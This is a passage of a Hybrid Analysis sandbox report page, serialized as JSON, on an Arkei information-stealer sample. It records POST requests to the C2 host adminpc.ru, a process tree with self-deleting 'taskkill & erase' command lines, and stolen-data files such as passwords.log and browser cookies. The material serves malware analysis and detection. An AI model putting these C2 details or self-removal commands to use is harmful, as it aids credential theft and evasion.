no-cache","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"host":"adminpc.ru","host_ip":"193.111.63.97:80","url":"/server/grubConfig","method":"POST","header":"POST /server/grubConfig HTTP/1.1\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\nAccept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\nContent-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A\nContent-Length: 25\nUser-Agent: Arkei/8.0\nHost: adminpc.ru\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"host":"adminpc.ru","host_ip":"193.111.63.97:80","url":"/server/gate","method":"POST","header":"POST /server/gate HTTP/1.1\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\nAccept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\nContent-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A\nContent-Length: 265409\nUser-Agent: Arkei/8.0\nHost: adminpc.ru\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}],"processes":[{"pid":2920,"ppid":0,"name":"Arkei.exe","command_line":"","sha256":"10846bf1e146563b22ac9e7b1a524648e1e4e9c67c0830bede8462362b417a5d","normalized_path":"C:\\Arkei.exe","uid":"00014119-00002920","icon":"$2e"},{"pid":4300,"ppid":2920,"name":"6087529549.exe","command_line":"","sha256":"10846bf1e146563b22ac9e7b1a524648e1e4e9c67c0830bede8462362b417a5d","normalized_path":"%ALLUSERSPROFILE%\\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\\6087529549.exe","parent_uid":"00014119-00002920","uid":"00014300-00004300"},{"pid":1452,"ppid":4300,"name":"cmd.exe","command_line":"/c taskkill /im 6087529549.exe /f & erase %ALLUSERSPROFILE%\\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\\6087529549.exe & exit","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00014300-00004300","uid":"00014606-00001452"},{"pid":3500,"ppid":1452,"name":"taskkill.exe","command_line":"taskkill /im 6087529549.exe /f","sha256":"cb1822a981e9821d571af16b7e37beba5feb8e3dedcdd0461119af9aac0358b3","normalized_path":"%WINDIR%\\SysWOW64\\taskkill.exe","parent_uid":"00014606-00001452","uid":"00014613-00003500"},{"pid":2064,"ppid":2920,"name":"cmd.exe","command_line":"/c taskkill /im Arkei.exe /f & erase C:\\Arkei.exe & exit","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00014119-00002920","uid":"00014333-00002064"},{"pid":4056,"ppid":2064,"name":"taskkill.exe","command_line":"taskkill /im Arkei.exe /f","sha256":"cb1822a981e9821d571af16b7e37beba5feb8e3dedcdd0461119af9aac0358b3","normalized_path":"%WINDIR%\\SysWOW64\\taskkill.exe","parent_uid":"00014333-00002064","uid":"00014362-00004056"}],"all_imported_dlls":["dhcpcsvc6.dll","WSHTCPIP.DLL","kernel32.dll","sechost.dll","cfgmgr32.dll","dbghelp.dll","winsta.dll","shlwapi.dll","psapi.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","RpcRtRemote.dll","wow64cpu.dll","KernelBase.dll","oleaut32.dll","ntmarta.dll","mpr.dll","wtsapi32.dll","wbemprox.dll","crypt32.dll","Wldap32.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","rasadhlp.dll","srvcli.dll","msctf.dll","urlmon.dll","nsi.dll","mswsock.dll","nlaapi.dll","dhcpcsvc.dll","FWPUCLNT.DLL","cryptsp.dll","npmproxy.dll","winbrand.dll","netapi32.dll","comctl32.dll","secur32.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","sspicli.dll","msasn1.dll","wship6.dll","rsaenh.dll","wkscli.dll","gdi32.dll","lpk.dll","tzres.dll","webio.dll","framedynos.dll","netutils.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","iertutil.dll","propsys.dll","apphelp.dll","wshqos.dll","wbemcomn.dll","usp10.dll","wininet.dll","profapi.dll","setupapi.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","netprofm.dll","api-ms-win-downlevel-version-l1-1-0.dll","shell32.dll","userenv.dll","clbcatq.dll","wow64win.dll","cryptbase.dll","winnsi.dll","imm32.dll","winhttp.dll","IPHLPAPI.DLL","version.dll","ntdll.dll","wow64.dll","msvcrt.dll","rpcrt4.dll","normaliz.dll","devobj.dll","ws2_32.dll","user32.dll","advapi32.dll","ole32.dll","api-ms-win-downlevel-user32-l1-1-0.dll","uxtheme.dll","dnsapi.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"c","sha256":"d820c2172f108f7abbe353055c3fb6aa9067d4cd0de9dbdd83772a9d696caa2a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"name":"62976927916b06490d-f9fd-424c-8b6d-83edc4369e89.zip","sha256":"db8a2645b3ea889c884121e11f4e22730fc011bbe539f4a26e5880ca603cb1d1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"name":"Desktop.zip","sha256":"8739c76e681f900923b900c9df0ef75cf421d39cabb54650c4b9ad19b6a76d85","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"name":"cookies_Mozilla Firefox_fg6ygf16.default.log","sha256":"6d3ea9b6ffd42e38fcc219ebad538b5b0b9c4c5a0b55c500f0f0556a91bc32e5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"name":"information.log","sha256":"3a12f8caabeba82816b84b119fe8537cd9b92d798c105658079781d091f32f92","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"name":"passwords.log","sha256":"c718cf8da12f26190db66f23b642b34ab36d461f0050c2a696a2572e6a05fe34","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"name":"screenshot.bmp","sha256":"bad93681fc8c33cbf0f874cc1759edb14caa310f5912bc9b567a276facf01479","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]}],"files_written":[{"path":"C:\\Arkei.exe","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"path":"%ALLUSERSPROFILE%\\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\\6087529549.exe","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"path":"C:\\Arkei.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"path":"C:\\share","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"path":"%WINDIR%\\SysWOW64\\tzres.dll","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"path":"C:","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{C3450F58-7060-4AEA-B0A0-C245927D78D0}","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"path":"%WINDIR%\\SysWOW64\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"path":"%WINDIR%\\SysWOW64\\wshqos.dll","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\fg6ygf16.default\\cookies.sqlite","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"path":"%ALLUSERSPROFILE%\\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\\files","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"path":"%ALLUSERSPROFILE%\\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"path":"%ALLUSERSPROFILE%\\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\\files\\62976927916b06490d-f9fd-424c-8b6d-83edc4369e89.zip","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"path":"%WINDIR%\\SysWOW64\\cmd.exe","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"path":"%WINDIR%\\SysWOW64\\taskkill.exe","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\taskkill.exe.mui","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\0A-00-27-00-00-00\\","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{33AAD629-D83F-4FBC-8D2F-FD1B2305E4FB}\\0A-00-27-00-00-00\\","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"key":"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]}]}},"report_ids":{"sandbox_job_ids":["5ac2a8057ca3e141ac141886"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Zusy.Generic Sample 10846bf1e146… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 10846bf1e146…. Malware family: Zusy.Generic. Threat score 100/100. 21/27 AV engines flagged this file. 9 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/10846bf1e146563b22ac9e7b1a524648e1e4e9c67c0830bede8462362b417a5d"}],["$","meta","4",{"property":"og:title","content":"Malicious Zusy.Generic Sample 10846bf1e146… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 10846bf1e146…. Malware family: Zusy.Generic. Threat score 100/100. 21/27 AV engines flagged this file. 9 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/10846bf1e146563b22ac9e7b1a524648e1e4e9c67c0830bede8462362b417a5d"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Zusy.Generic Sample 10846bf1e146… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 10846bf1e146…. Malware family: Zusy.Generic. Threat score 100/100. 21/27 AV engines flagged this file. 9 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L2f","11",{}]]